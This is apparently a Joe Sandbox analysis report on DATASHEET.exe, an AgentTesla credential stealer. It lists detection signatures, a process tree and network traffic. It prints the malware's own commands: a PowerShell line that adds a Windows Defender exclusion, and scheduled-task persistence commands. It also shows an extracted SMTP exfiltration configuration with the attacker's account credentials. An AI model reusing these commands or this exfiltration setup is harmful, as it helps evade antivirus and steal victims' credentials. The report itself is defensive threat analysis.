Edit tour

Windows Analysis Report
DATASHEET.exe

Overview

General Information

Sample name:	DATASHEET.exe
Analysis ID:	1559980
MD5:	8b627084e10ad9b77436a4c3d8ea5ebb
SHA1:	7db5ee2ab5fdc91fa29a521f7f9779684f9e4abd
SHA256:	10f6d70d363d93fce85e92f2ea94a36eda4c755606581cd101652afaa97a91fc
Tags:	exeuser-lowmal3
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

DATASHEET.exe (PID: 7336 cmdline: "C:\Users\user\Desktop\DATASHEET.exe" MD5: 8B627084E10AD9B77436A4C3D8EA5EBB)

powershell.exe (PID: 7548 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 8036 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7596 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7640 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 7808 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

jwvzGqkYNEejno.exe (PID: 7876 cmdline: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe MD5: 8B627084E10AD9B77436A4C3D8EA5EBB)

schtasks.exe (PID: 3912 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp9C6E.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 3608 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.yandex.ru", "Username": "negozio@depadova.cf", "Password": "graceofgod@amen"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1805867621.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1805867621.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1805867621.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: DATASHEET.exe PID: 7336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DATASHEET.exe PID: 7336	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: DATASHEET.exe PID: 7336	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 7808	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7808	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: jwvzGqkYNEejno.exe PID: 7876	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegSvcs.exe PID: 3608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 3608	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.DATASHEET.exe.3d32700.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DATASHEET.exe.3d32700.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.DATASHEET.exe.3d32700.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3189d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3190f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31999:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31a2b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31a95:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31b07:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31b9d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31c2d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3369d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3370f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33799:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3382b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33895:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33907:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3399d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33a2d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.DATASHEET.exe.3d6d320.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DATASHEET.exe.3d6d320.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.DATASHEET.exe.3d6d320.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3189d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3190f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31999:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31a2b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31a95:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31b07:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31b9d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31c2d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.DATASHEET.exe.3d6d320.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DATASHEET.exe.3d6d320.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.DATASHEET.exe.3d6d320.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3369d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e0bd:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3370f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e12f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33799:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6e1b9:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3382b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6e24b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33895:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e2b5:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33907:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e327:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3399d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e3bd:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33a2d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e44d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.DATASHEET.exe.3d32700.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DATASHEET.exe.3d32700.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.DATASHEET.exe.3d32700.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3369d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e2bd:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa8cdd:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3370f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e32f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa8d4f:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33799:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6e3b9:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa8dd9:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3382b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6e44b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa8e6b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33895:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e4b5:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa8ed5:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33907:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e527:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa8f47:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3399d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e5bd:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa8fdd:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\DATASHEET.exe", ParentImage: C:\Users\user\Desktop\DATASHEET.exe, ParentProcessId: 7336, ParentProcessName: DATASHEET.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe", ProcessId: 7548, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp9C6E.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp9C6E.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe, ParentImage: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe, ParentProcessId: 7876, ParentProcessName: jwvzGqkYNEejno.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp9C6E.tmp", ProcessId: 3912, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 77.88.21.158, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 7808, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49736

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\DATASHEET.exe", ParentImage: C:\Users\user\Desktop\DATASHEET.exe, ParentProcessId: 7336, ParentProcessName: DATASHEET.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp", ProcessId: 7640, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\DATASHEET.exe", ParentImage: C:\Users\user\Desktop\DATASHEET.exe, ParentProcessId: 7336, ParentProcessName: DATASHEET.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe", ProcessId: 7548, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\DATASHEET.exe", ParentImage: C:\Users\user\Desktop\DATASHEET.exe, ParentProcessId: 7336, ParentProcessName: DATASHEET.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp", ProcessId: 7640, ProcessName: schtasks.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: DATASHEET.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe

Avira: detection malicious, Label: HEUR/AGEN.1305393

Found malware configuration

Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.yandex.ru", "Username": "negozio@depadova.cf", "Password": "graceofgod@amen"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe

ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: DATASHEET.exe	ReversingLabs: Detection: 55%
Source: DATASHEET.exe	Virustotal: Detection: 47%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: DATASHEET.exe

Joe Sandbox ML: detected

Source: DATASHEET.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: DATASHEET.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Aezq.pdb source: DATASHEET.exe, jwvzGqkYNEejno.exe.0.dr
Source:	Binary string: Aezq.pdbSHA256 source: DATASHEET.exe, jwvzGqkYNEejno.exe.0.dr

Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 4x nop then jmp 07DB0C84h	0_2_07DB0223
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 4x nop then jmp 07DB0C84h	0_2_07DB0797
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 4x nop then jmp 07DB0C84h	0_2_07DB0879
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 4x nop then jmp 07DB0C84h	0_2_07DB0834
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 4x nop then jmp 06F8FBF4h	9_2_06F8F193
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 4x nop then jmp 06F8FBF4h	9_2_06F8F7E9
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 4x nop then jmp 06F8FBF4h	9_2_06F8F7A4
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 4x nop then jmp 06F8FBF4h	9_2_06F8F707

Source: global traffic

TCP traffic: 192.168.2.4:49736 -> 77.88.21.158:587

Source: Joe Sandbox View	IP Address: 77.88.21.158 77.88.21.158
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.4:49736 -> 77.88.21.158:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: smtp.yandex.ru

Source: RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.gl
Source: RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.gl(
Source: RegSvcs.exe, 0000000D.00000002.4178842499.0000000007FAA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003593000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177256601.0000000007EC4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168134904.000000000667F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.000000000338E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4176959760.0000000007EB0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003688000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4154589604.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F62000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EE9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4155316760.000000000149A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4154589604.0000000001433000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000034F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsrsaovsslca2018.crl0j
Source: RegSvcs.exe, 0000000D.00000002.4178842499.0000000007FAA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003593000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177256601.0000000007EC4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4176959760.0000000007EB0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003688000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F62000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EE9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F56000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168134904.0000000006690000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4155316760.000000000149A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000034F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
